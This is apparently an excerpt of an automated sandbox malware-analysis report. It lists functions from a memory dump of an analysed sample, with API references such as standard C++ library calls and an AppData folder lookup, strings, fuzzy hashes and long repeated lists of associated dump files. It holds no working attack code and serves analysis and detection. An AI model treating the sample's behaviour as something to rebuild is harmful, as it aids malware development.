Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ErrorLast
String ID: \*.*
API String ID: 2454169095-1173974218
Opcode ID: 49eb220b8399d273551a88f7da0969e09f80a92e5057727601bdea786dd913ca
Instruction ID: 83807b74cb54c7c4f5fb7731a8f9703e8c254d6323639d5f6a3d40fb003af964
Opcode Fuzzy Hash: 49eb220b8399d273551a88f7da0969e09f80a92e5057727601bdea786dd913ca
Instruction Fuzzy Hash: EE1157B1D04640ABCB309BB9AD4577C372CEB23720F208726E839DB6D3D7218D0186E2

Uniqueness

Uniqueness Score: -1.00%

Function 009A4510 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 009A45AF

Strings

ios_base::badbit set, xrefs: 009A4547, 009A4572
ios_base::failbit set, xrefs: 009A4438, 009A4551
ios_base::eofbit set, xrefs: 009A4556

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 323602529-1866435925
Opcode ID: 2db1f293e3b32dddea26435e0f219f40535a102ceaff0bf086b3e9517c434f88
Instruction ID: 6289135cf30ff3f83d10dea15e6105bc8db4ef24925dcfd43f28c231615b7ecf
Opcode Fuzzy Hash: 2db1f293e3b32dddea26435e0f219f40535a102ceaff0bf086b3e9517c434f88
Instruction Fuzzy Hash: BA1129B2C046046BC710EF58DC02BA5739CAB49710F148A69FD698B6C2EB75A900C7D6

Uniqueness

Uniqueness Score: -1.00%

Function 00A7B959 Relevance: 6.0, APIs: 4, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00A7B960
std::_Lockit::_Lockit.LIBCPMT ref: 00A7B96B
std::_Lockit::~_Lockit.LIBCPMT ref: 00A7B9D9

Part of subcall function 00A7BABC: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00A7BAD4

std::locale::_Setgloballocale.LIBCPMT ref: 00A7B986

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_Setgloballocale
String ID:
API String ID: 677527491-0
Opcode ID: e67b31f287c1b115d888935270e2d1932491ed9cfdaa1805da4e2300f17b8243
Instruction ID: 52bfa3be969e82b71e2ca7b15e093114b8d8ef288dc79aa08ae5319d630b82fd
Opcode Fuzzy Hash: e67b31f287c1b115d888935270e2d1932491ed9cfdaa1805da4e2300f17b8243
Instruction Fuzzy Hash: 7801BCB6A10255AFCB05EF60DD95A7E7BB1BF84780B18C009E9155B392DF74AE02CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 009A7EC0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 009A807C
___std_exception_destroy.LIBVCRUNTIME ref: 009A8092

Strings

[json.exception., xrefs: 009A7F11

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: [json.exception.
API String ID: 4194217158-791563284
Opcode ID: 29fb6b8daa671319d829494fb20cc1a04b3699293893922e0e60625d5e10ceea
Instruction ID: 7f4585b5e6ab3a7cfac2ab4c695d0e070155eeba11356062b4c2d0bc5eb6a881
Opcode Fuzzy Hash: 29fb6b8daa671319d829494fb20cc1a04b3699293893922e0e60625d5e10ceea
Instruction Fuzzy Hash: 3F51D0B1D04248AFDB10DFA8CD05B9EFBB4EF51314F108259E854AB2C2E7B85A44C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 009A4400 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 153COMMONLIBRARYCODE

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 009A45AF

Strings

ios_base::badbit set, xrefs: 009A4547, 009A4572
ios_base::failbit set, xrefs: 009A4438

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 323602529-1240500531
Opcode ID: 3ce65942bc79cfdd9bed0e35b41ea24672c498d63c51bbedbdc8c20e3bb9952c
Instruction ID: 73d3cf00e18d98119d81d8bbb7287d0c2c282bf4d9be1d3798151d9d6f6c0c79
Opcode Fuzzy Hash: 3ce65942bc79cfdd9bed0e35b41ea24672c498d63c51bbedbdc8c20e3bb9952c
Instruction Fuzzy Hash: 3D4127B1C04204ABCB04DF58DD45BAEBBF9EB4A710F14825DF4159B281D775AA00CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 009DE990 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 009DE9E1

Strings

qZKQES, xrefs: 009DEB7C
M, xrefs: 009DE9F7

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: FolderPath
String ID: M$qZKQES
API String ID: 1514166925-9583713
Opcode ID: 0e9a9abb7565b3f8c7c35e44b3559eaa9a702f94588f4d716e0a615807aed216
Instruction ID: 0e75ff7f837190ce1dc9660e51bc8dff561f20946d62af6fba0461d9c893d3cd
Opcode Fuzzy Hash: 0e9a9abb7565b3f8c7c35e44b3559eaa9a702f94588f4d716e0a615807aed216
Instruction Fuzzy Hash: 27512970C04299CBEB14DF64C955BECBBB4AF16304F1082CDD15A6B292DBB51AC9CF61

Uniqueness

Uniqueness Score: -1.00%

Function 009BE5F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 009BE739
std::_Throw_Cpp_error.LIBCPMT ref: 009BE74A

Strings

m, xrefs: 009BE63F

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
